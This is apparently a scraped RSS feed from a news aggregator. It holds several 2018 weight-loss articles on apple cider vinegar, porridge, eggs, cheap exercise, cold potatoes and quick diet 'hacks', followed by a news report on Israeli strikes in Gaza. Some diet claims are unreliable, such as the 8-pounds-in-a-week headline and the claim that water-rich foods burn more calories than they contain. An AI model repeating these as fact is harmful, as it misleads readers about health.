Other benefits of adding apple cider vinegar into your diet include controlling blood sugar levels, lowering cholesterol, helping with PCOS and fighting off bacteria and viruses.

Another thing that apple cider vinegar can help with is controlling sugar cravings. 

Scientists have discovered consuming small amounts of this vinegar will help to stabilise blood sugar, which is linked to reducing cravings.

In one Swedish study, test subjects who ate white bread – a kind of fast-release carbohydrate – with vinegar were compared to those who ate white bread without the vinegar.

Those who consumed the vinegar with the bread had significantly reduced blood sugar responses compared to those who did not.

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]]> https://briefnews.eu/weight-loss-drink-this-much-apple-cider-vinegar-to-lose-8-pounds-in-one-week/feed/ 0 Weight loss: Eat this cheap breakfast to shed pounds, reduce bloating and keep weight off https://briefnews.eu/weight-loss-eat-this-cheap-breakfast-to-shed-pounds-reduce-bloating-and-keep-weight-off/ https://briefnews.eu/weight-loss-eat-this-cheap-breakfast-to-shed-pounds-reduce-bloating-and-keep-weight-off/#respond Sun, 12 Aug 2018 10:09:55 +0000 http://briefnews.eu/weight-loss-eat-this-cheap-breakfast-to-shed-pounds-reduce-bloating-and-keep-weight-off/

Weight loss success comes down to eating the best diet, filled with nutritious food.

What dieters chose for breakfast can be the difference between losing pounds or struggling to drop fat.

Numerous studies have shown porridge is one of the best choices to start the day for stable and steady weight loss.

This is because it is filling, packed with fibre, and can be made in a variety of ways which stop it becoming boring.

Porridge and weight

Eating oatmeal boosts the chances of maintaining a healthy body weight, a 2015 study published in Nutrition Research shows.

The study followed the diet patterns of 22,000 US adults, and found those who ate oatmeal regularly had lower body weights and smaller waists than those who didn’t eat it.

Porridge made from other grains, such as quinoa or amaranth, could also help with weight loss.

A small 2015 animal study published in the Journal of Food Science and Technology showed rats fed those grains experienced hormonal changes that reduce hunger. However, adult studies need to be done to discover if the same effect can be seen in humans.

Porridge calories

Different types of porridge have different calories, and the total count will depend on how the meal is made.

Made with water, 105g oatmeal porridge has just 124 calories, or 215 calories if made with skimmed milk.

Packaged instant porridge tends to have more calories, so check the label.

Porridges made from 92g of cooked quinoa have around 111 calories if made with water, or 202 calories with skimmed milk.

Amaranth porridge is higher in calories, with 92g cooked amaranth coming in at 126 calories made with water, or 216 made with milk.

Nutritional benefits of porridge

The whole grains in many types of porridge, such as oatmeal, quinoa or amaranth, are bursting wth dietary fibre.

Fibre will help dieters to stay feeling fuller for longer, reducing the urge to snack.

It also promotes the movement of waste through the digestive tract, improving constipation and helping with bloating.

Another breakfast which promotes weight loss is an egg based one. Scientists at the Faculty of Health and Medical Sciences, University of Surrey, reported eating eggs for breakfast caused men they were studying to automatically eat up to 470 calories less at lunch and dinner buffets, when compared to eating the other breakfasts.

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]]> https://briefnews.eu/weight-loss-eat-this-cheap-breakfast-to-shed-pounds-reduce-bloating-and-keep-weight-off/feed/ 0 Weight loss: Swap toasted bagel at breakfast for EGG to shed pounds fast – and keep it off https://briefnews.eu/weight-loss-swap-toasted-bagel-at-breakfast-for-egg-to-shed-pounds-fast-and-keep-it-off/ https://briefnews.eu/weight-loss-swap-toasted-bagel-at-breakfast-for-egg-to-shed-pounds-fast-and-keep-it-off/#respond Sun, 29 Jul 2018 05:01:50 +0000 http://briefnews.eu/weight-loss-swap-toasted-bagel-at-breakfast-for-egg-to-shed-pounds-fast-and-keep-it-off/

Weight loss starts with what you eat for breakfast, and if you chose to tuck into a tasty bagel in the morning – but also struggle to keep off the pounds – you might benefit from swapping to eggs.

Toast, cereal and even a Full English fry up are popular choices for breakfast across the nation.

While a Full English breakfast and a bacon sandwich were the first and second place results of a 2014 Co-op survey, tea and toast came in third place.

One slice of toast is roughly 75 calories, which isn’t an awful lot when you think about it. But, nutritionally speaking there’s not much protein to keep your body going through the day in a slice of toast.

Bagels – traditionally from New York but very popular in modern day Britain – weigh in at 245 calories. Again, there’s only 10g of protein in a bagel.

All this talk of protein could baffle some, but hardened dieters and those interested in nutrition will know protein helps you stay full for longer.

Eating foods that deliver some fat, fibre, and some protein are ideal for those wishing to take part in a healthy, balanced diet – be it for weight loss or just health purposes.

In the UK, adults are advised to eat 0.75g of protein for each kilogram they weigh. That means, on average, men should eat 55g and women 45g of protein daily.

In December 2005 a team of scientists conducted a study into the short-term effect of eggs on satiety in overweight and obese subjects.

Specifically, they looked at how eating an egg for breakfast rather than a bagel would effect satiety – in layman’s terms, how long the test subjects stayed feeling full for after each breakfast.

Thirty women with BMIs of at least 25 kg/M2 between the ages of 25 to 60 were recruited to participate in a randomised study.

And the results were very interesting.

The egg-breakfast enjoyed by the women induced “greater satiety” and significantly reduced short-term food intake, the scientists reported.

Another study in 30 men compared the effects of three types of breakfasts on three separate occasions: eggs on toast, cereal with milk and toast, and croissant with orange juice.

The results of this study, undertaken in 2013, backed up the results from the 2005 study on women.

Scientists at the Faculty of Health and Medical Sciences, University of Surrey, reported eating eggs for breakfast caused the men to automatically eat up to 470 calories less at lunch and dinner buffets, when compared to eating the other breakfasts.

They stated: “The breakfast meal with the greatest effect on satiety and subsequent intake of energy was distinct in having the highest protein and lowest carbohydrate content relative to the other two breakfasts.”

Therefore swapping the carbs in favour of protein in the morning – or even adding an egg to your morning round of toast – could be beneficial to anyone wishing to lose weight.

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]]> https://briefnews.eu/weight-loss-swap-toasted-bagel-at-breakfast-for-egg-to-shed-pounds-fast-and-keep-it-off/feed/ 0 Weight loss: How to lose pounds fast without spending pounds – cheap and fast weight loss https://briefnews.eu/weight-loss-how-to-lose-pounds-fast-without-spending-pounds-cheap-and-fast-weight-loss/ https://briefnews.eu/weight-loss-how-to-lose-pounds-fast-without-spending-pounds-cheap-and-fast-weight-loss/#respond Sat, 28 Jul 2018 07:33:37 +0000 http://briefnews.eu/weight-loss-how-to-lose-pounds-fast-without-spending-pounds-cheap-and-fast-weight-loss/

Weight-loss plans can be hard to stick to, especially for Britons leading busy modern lives.

Many Britons are trying to lose weight, but the price of diet-friendly food and gym memberships can add up.

With the sun out and summer holiday season well and truly here, weight loss will still be on the minds of many people.

The average gym membership starts at £35 a month, as well as a £20 joining fee, and joining might be a squeeze, especially for those paying off summer holidays or saving for their next trip away.

However, money is no longer an excuse not to exercise, as there are many ways to lose weight cheaply, or even free.

Be realistic

According to money-saving app PIWoP, the biggest cut that can be made is quitting the gym.

PIWop advises Britons to realistically record their gym attendance, and work out its cost per visit.

If it’s costing £30 to go once a month, it’s probably not worth it. However, if you do decide to stick with the gym, make sure to shop around for the best deals before committing to a contract.

Invest in home gym equipment

Working out at home may better suited for those with a busy schedule or for the more conscious gym bunnies and it’s definitely cheaper.

However, there will be an initial cost of purchasing equipment, but shopping around on different websites will help save money.

Use nature’s treadmill

There’s no better feeling than being out in the open air, running along paths and pavements; it’s freeing and free.

There is also gym equipment in parks across towns and cities that make for a great outdoor workout.

On top of being more active outdoors, simple changes to your routine like walking to work will still be effective and save money.

Get downloading

The app store has an endless supply of fitness apps for supporting weight-loss journeys and tracking nutrition.

From Couch to 5K running apps to 5-minute belly blitz apps, these can be downloaded for free instead of splashing out on a personal trainer.

It’s not a fashion show

No one is expected to look good at the gym, and gym gear can be extremely expensive.

Branded workout clothes claim to be packed full of innovative technology and breathable fabrics that allow them to hike the prices up.

But there are cheaper, high street alternatives that are just as effective for jogging around the block.

However, look out for sales or use apps like PIWoP to grab discounts on the pricier, branded clothes.

Along with PIWoP, there are a host of other apps on the App Store designed to help Britons achieve weight loss, tracking calorie intake, providing mental and emotional support and increasing motivation.

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]]> https://briefnews.eu/weight-loss-how-to-lose-pounds-fast-without-spending-pounds-cheap-and-fast-weight-loss/feed/ 0 Weight loss: How eating cold potatoes could help you shed pounds FAST – proven diet tip https://briefnews.eu/weight-loss-how-eating-cold-potatoes-could-help-you-shed-pounds-fast-proven-diet-tip/ https://briefnews.eu/weight-loss-how-eating-cold-potatoes-could-help-you-shed-pounds-fast-proven-diet-tip/#respond Sat, 28 Jul 2018 05:10:29 +0000 http://briefnews.eu/weight-loss-how-eating-cold-potatoes-could-help-you-shed-pounds-fast-proven-diet-tip/

Weight loss diets and potatoes are often not heard in the same sentence. In fact, a high percentage of dieters ween themselves off carbohydrates entirely when trying to lose weight.

But this can lead to snacking and weight gain in the end.

In the name of eating a healthy, balanced diet and making lifestyle changes, adding boiled white potatoes to your diet is no bad thing.

Spuds contain an incredibly diverse range of nutrients, including potassium which is essential for all to control blood pressure.

But that’s not why we’re waxing lyrical about ‘taters today – it’s their position on the Satiety Index that’s caught everyone’s eye in 2018.

A satiety index of common foods, compiled back in September 1995, looked at 38 foods separated into six food categories.

That included fruits, bakery products, snack foods, carbohydrate-rich foods, protein-rich foods, breakfast cereals.

Of all the items tested across all the sections, the highest SI score was produced by boiled potatoes which was seven-fold higher than the lowest SI score of the croissant.

What does this mean in layman’s terms? Well, a weekly indulgence of McDonald’s extra large fries are probably still off the cards if you want to maintain a trim and healthy figure.

But the odd boiled potato has its place in a healthy, balanced diet – and could stop you snacking through the day to your next meal.

In fact, during a Journal of the American College of Nutrition study, researchers found people lost weight eating five to seven servings of spuds per week.

For the best results, eat your potatoes when they’ve cooled after boiling. This gives the spuds time to form high amounts of resistant starch which has been shown to have various health benefits, including weight loss

Don’t limit yourself to just white potatoes, though. Sweet potatoes, turnips and other root vegetables are also good for satiety.

Beans and legumes are a good addition to your weight loss diet. They’re both high in protein and fiber, contributing to feelings of fullness and a lower calorie intake.

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]]> https://briefnews.eu/weight-loss-how-eating-cold-potatoes-could-help-you-shed-pounds-fast-proven-diet-tip/feed/ 0 How to speed up weight loss: The easy hacks to shed pounds and belly fast FAST https://briefnews.eu/how-to-speed-up-weight-loss-the-easy-hacks-to-shed-pounds-and-belly-fast-fast/ https://briefnews.eu/how-to-speed-up-weight-loss-the-easy-hacks-to-shed-pounds-and-belly-fast-fast/#respond Sat, 30 Jun 2018 13:59:30 +0000 http://briefnews.eu/how-to-speed-up-weight-loss-the-easy-hacks-to-shed-pounds-and-belly-fast-fast/

Losing weight and getting a “summer body” is usually on the mind of many Britons.

But with modern life, training regimes and diet plans can often fall off the radar, with weight-loss goals not being achieved.

With summer here and in full swing, many Britons could be feeling disappointed that their ideal weight was not achieved.

However, there are a few tricks that can speed up weight loss and help achieve weight-loss goals this summer.

Eat more snacks

Contrary to popular belief, snacking is actually a good method for keeping the metabolism fired up and for losing weight.

Eating little and often keeps the metabolism working and burning calories, and when it finally comes to meal times there will be less urge to overeat, as hunger has been controlled throughout the day.

Snack on healthy foods such as almonds and Brazil nuts, seeds, cottage cheese, apples and peanut butter.

Add weights to your workout

When the body has an increased muscle mass, it will burn more calories when resting to keep the muscles working.

The best way to increase muscle mass is to add weight training to your gym routine, which can be done by resistance training or lifting weights.

More calories burnt while the body is resting is an easy way to speed up weight loss.

Eat more water-based foods

Foods predominantly made up of water are significantly lower in calories than other food groups, but can be just as filling.

Some foods are so high in water that they actually take more calories to burn that they hold.

Indulge on foods such as cucumber, tomato, lettuce, fruit and soup, and cut back on foods with higher energy density to maximise results.

Eat before eating

According to research, people eat less of a meal when consuming a small meal beforehand. Another study showed that eating something spicy before a meal can curb the appetite.

Try a bowl of vegetable packed soup before eating a main meal, as it will help satisfy hunger with minimal calories. Also, take time between the two meals to allow the brain to register that the stomach is full .

Drink lots of tea

Water is important to drink when losing weight as the body gives off the feeling of being hungry when it is actually thirsy. However, tea is packed with health benefits and can help keep the metabolism going.

Two cups of green tea a day is said to burn an extra 100 calories over a 24-hour period, due to the caffeine in the tea elevating metabolic rate and increasing fat oxidation.

Move more

Simple day swaps can all contribute to burning more calories, seeing weight-loss results sped up.

Take the stairs instead of the lift, leave the car at home or cycle or walk to work. It might not seem like a lot but all these changes add up, contributing to faster weight loss.

A recent report also revealed the top 13 foods to help achieve weight loss goals fast, with foods including lentils, sweet potatoes and eggs. 

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]]> https://briefnews.eu/how-to-speed-up-weight-loss-the-easy-hacks-to-shed-pounds-and-belly-fast-fast/feed/ 0 Israel pounds targets in Gaza, intercepts Hamas missiles https://briefnews.eu/israel-pounds-targets-in-gaza-intercepts-hamas-missiles/ https://briefnews.eu/israel-pounds-targets-in-gaza-intercepts-hamas-missiles/#respond Wed, 27 Jun 2018 03:19:46 +0000 http://briefnews.eu/israel-pounds-targets-in-gaza-intercepts-hamas-missiles/

A vehicle and two Hamas “observation posts” have been targeted and destroyed by Israeli Defense Forces, while the Iron Dome anti-missile system has intercepted at least three rockets fired at Israel from Gaza.

A “barrage of projectiles” was launched towards southern Israel after IAF aircraft and IDF tanks shelled the militant organization’s targets inside the enclave. The destroyed targets included a vehicle allegedly belonging to a Hamas operative, believed to have been “heavily involved” in explosive balloon attacks. In addition, the IDF struck two Hamas observation posts.

“The Hamas terror organization will bear the consequences for facilitating terror and instability,” the IDF said.

On Tuesday night sirens sounded in Hof Ashkelon, Sha’ar HaNegev and Eshkol Regional Councils when nine rockets were launched from the Gaza strip, the IDF said. One of the projectiles was intercepted by the IDF’s Iron Dome Aerial Defense System. Afterwards, Israel detected three more incoming rockets, two of which were tackled by the air defense system. There were no reports of injuries or damage from the other eight projectiles, which usually strike uninhabited areas.

Earlier in the day, an Israeli jet destroyed another car and an observation post used by Palestinians to launch arson balloons. Over the last couple of weeks, Israel has intensified its effort to stop balloon and kite launches of homemade incendiary devices, which have become a symbol of Arab resistance during the Great March of Return protests along the Gaza-Israeli border since late March. In order to put a halt to these terrorist activities, Israel has limited the amount of helium gas that can be brought into Gaza, restricting it to medical treatment purposes only. The IDF and the IAF, meanwhile, intensified the crackdown on Hamas, which they hold fully responsible for the upsurge in cross-border violence.

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